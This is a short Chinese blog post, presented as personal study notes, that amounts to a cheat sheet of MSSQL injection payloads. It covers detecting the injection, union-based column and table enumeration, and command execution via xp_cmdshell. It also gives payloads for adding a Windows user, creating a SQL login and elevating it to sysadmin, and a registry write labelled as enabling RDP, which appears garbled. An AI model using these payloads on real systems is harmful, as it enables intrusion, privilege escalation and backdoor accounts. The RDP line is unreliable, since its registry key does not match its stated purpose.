记录一下MSSQL注入的学习过程~
常用查询
1 | select is_srvrolemember('sysadmin'); 判断当前是否为sa |
判断SQL类型
MSSQL用以下语句判断
1 | and exists(select * from sysobjects) |
联合注入
判断注入是否存在
同MySQL与Oracle注入类似,加单双引号观察其是否报错
1 | ?id=1 |
判断注入类型
构造语句为True或者False,并观察内容来判断
1 | ' and '1'='1 |
判断列数
通过二分法和order by来快速确定列数,有时候要稍大范围确定一下,容易误判
1 | order by |
判断字段类型
MSSQL与Oracle数据类型比较严格,要测试出每个字段是字符型还是整型
1 | union select null,null |
查询数据库名
1 |
|
查询列名
1 | select top 1 name from mozhe_db_v2..sysobjects where xtype='u' |
查询数据
1 | select username from tables |
执行系统命令
查看是否存在xp_cmdshell
1 | and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') |
用xp_cmdshell执行命令
1 | ;exec master..xp_cmdshell "net user name password /add"-- |
查看权限
1 | and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa |
创建个登录mssql的账号
1 | ;exec master.dbo.sp_addlogin name,pass;-- |
把创建的mssql登陆帐号提升到sysadmin
1 | ;exec master.dbo.sp_addsrvrolemember name,sysadmin;-- |
开3389
1 | 'exec master..xp_regwrite @r,'software\microsoft\windows\currentversion\netcache','enable','reg_sz','0';---- |
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/09/14/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0MSSQL%E6%B3%A8%E5%85%A5%E6%96%B9%E5%BC%8F/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/09/14/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0MSSQL%E6%B3%A8%E5%85%A5%E6%96%B9%E5%BC%8F/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!